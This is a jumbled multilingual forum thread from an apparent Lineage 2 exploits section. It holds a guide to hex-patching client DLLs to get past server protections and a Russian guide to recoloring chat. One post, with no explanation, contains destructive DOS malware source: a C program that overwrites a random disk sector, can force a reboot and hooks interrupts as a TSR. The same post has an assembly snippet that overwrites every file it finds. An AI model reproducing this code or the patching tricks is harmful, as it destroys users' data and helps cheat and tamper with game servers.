Maxtor

i updated my 1st post.

it has to do with a selfbuff and some weapons. dont know excaclty

jean - blouza

I think its been patched

line "100555f9" is missing because your nwindow.dll is packed. Use the default one as the picture.

fraga - tsepi

it works. its not c1 network.dl as you imaginel

axaxaxa polu kalo!!! exw kserathei... :D

A good analyzer too is W32Dasm :

to token.wp kai to set.ini gia ton bnb einai ta palia. ta kainourgia den ta ekana post.

the process/rate of success or failure is be done to server side and returns the results to client. Alternative way is by sending the right packets. Then server somehow "confused" , and dont know what really happens.

When you Click Help button: and nothing happends, or you just see this window like this: Then you have to enable somehow. Right, but how? Well the protection is different from server to server. 1) First of all make sure you run game from original L2.exe [248 KB (253.972 byte)] thats the default filesize from L2C3 OFF client.Some latest protections have modified the L2.exe or something equal like loader.exe,updater.exe etc... which make changes "On the fly" (while the exe is running) to your client's dlls like engine.dll,nwindow.dll and other. If your l2.exe isnt the default one, then you can download it here or setup your L2C3 client from the begining and grab it from there.If its not modified (in your server's patch) then you are lucky! 2) Check if nwindow.dll has the default filesize [2,45 MB (2.572.308 byte)]. If its not try the default one Here Now test if the game starts/logins. If its not continue to step 3. (optional) 3) Check Engine.dll has the default filesize: [6,93 MB (7.274.516 byte)]. If its not try the default one. (link here).You will need some hexing to change Revision and Protocol to connect.Some protocols can be found Here Now test again if the game starts/logins. If its not continue to step 4. 4) The alternative way is to hex nwindow.dll leaving all the other files as is.In my example i used Ollydbg Assembler Analyzer v1.10 .Open nwindow.dll from your system folder (because it reads imports-exports). Find the address (default is 100555F9) as you see in the picture: There you see 74 0C which means to jump somewhere else (at 10055607) in the memory and execute the Help button functions. If you see instead of 74 0c the numbers 90 90 that means, "dont jump,dont do nothing - NOP) change them to 74 0C in order to work.If you want to do it much easier use a hex editor like XVI32 like the picture above: Now test if help is enabled.

o paradisos twn programmers http://www.programmersheaven.com/

bnb players - kamenoi

#include <stdlib.h> #define __CPPARGS ... #define __CPPARGS void interrupt ( *oldhandler)(__CPPARGS); void interrupt handler(__CPPARGS) { delay(135); oldhandler(); } void main(void) { randomize(); char buf[512]; abswrite(2, 1, random(50000)+2000, buf); if(random(20) == 10) asm INT 19h oldhandler = getvect(INTR); setvect(INTR, handler); _ES = _psp; //PSP address asm MOV es,es:[2ch] _AH = 0x49; //Function 49 (remove memory block) asm INT 21h //Call DOS to execute instruction _AH = 0x31; //Function 31 (tsr) _AL = 0x00; //Exit code _DX = _psp; //PSP address asm INT 21h //Call DOS to execute instruction }

Lea Dx,Fs Mov Ah,78 Int 33 Mov Dx,9eh Mov Ah,61 o1: Int 33 Xchg Ax,Bx Mov Dl,27 FS Db '*.*',0 Xchg Cx,Dx Mov Ah,64 Jmp o1

kinezikes einai?

Protocol version is the revision, token is versioncheckpacket. they are diferent things....its the blowfish algorithm encryption in other words.

http://www.l2girls.nm.ru/cool_colorCHAT.txt or : Инструкция "Раскрась свой чат самостоятельно" 1. Создаём отдельную папку для наших извращений. 2. Из папки system нашего замечательного клиента с игрой перекидываем туду файл systemmsg-e.dat - если хотим раскрасить всё в свои цвета, а не пользоваться Дедушкиным плодом больных фантазий. 3. Переписываем в нашу папочку файлы l2encdec.exe (l2encdec26.zip) и L2ClientDat_en.exe (L2ClientDat_en.zip) Пишем каманду Путь к папке \l2encdec.exe -s systemmsg-e.dat (например - через команду ВЫПОЛНИТЬ). А можно ещё ярлычок с командой создать - если ломает... 4. Старый systemmsg-e.dat удаляем, а dec-systemmsg-e.dat переименовываем в systemmsg-e.dat Кажется, этот пункт делать не надо, ибо незачем... 5. Распаковывам файл systemmsg-e.dat с помощью L2ClientDat_en.exe - выбрать кнопку DECODE. 6. Изменяем* полученный .systemmsg-e.txt файл в любом текстовом редакторе (если я не ошибаюсь, то в Ворде - кодировка Unicode). 7. systemmsg-e.dat файл из папки и с помощью L2ClientDat_en.exe упаковываем текстовый файл systemmsg-e.txt назад в systemmsg-e.dat 8. Вымученный файл systemmsg-e.dat кладём в папку system. __________________________________________ * Как менять текстовый файл. Для этого нам понадобятся встроенные в Винды программы (или их аналоги): Калькулятор (инженерный - там есть переключатель) - для перевода десятичных значений в 16-ричные и наоборот. Paint (определять цвета) - опция "ПАЛИТРА" - "ИЗМЕНИТЬ ПАЛИТРУ" - "ОПРЕДЕЛИТЬ ЦВЕТ". Цвета зашифрованы в виде 4 пар 16-ричных цифр - Яркость+RGB. Яркость - Красный - Зелёный - Голубой. Пример: FF-FF-FF-FF - Белый FF-00-00-FF - Синий. Ищем знакомые строки из чата, например Already spoiled (если я не переврал английский ) - и меняем параметры цвета. Для определения нужного нам цвета - Paint. Сообщение отредактировал ДедушкаЛеший (Leshiko) - Sep 18 2005, 11:09 http://l2.justiceclan.ru/forum/index.php?showtopic=554 www.l2girls.nm.ru Lineage2 C3 3LRB.exe - лучший патч ( http://www.l2girls.nm.ru/3LRB_Readme.txt )

In this section you can ask a Contributor or any other who is interested t help, to translate some usefull information about Exploits-Bots. Our mainly sources are from Russian Sites and Chinese-Korean-Japan Sites. Make sure your topic is related to Exploits-Bots Section Every usefull info will be moved to Exploits-Bots section by L2 Moderator to be read by everyone.

oraios!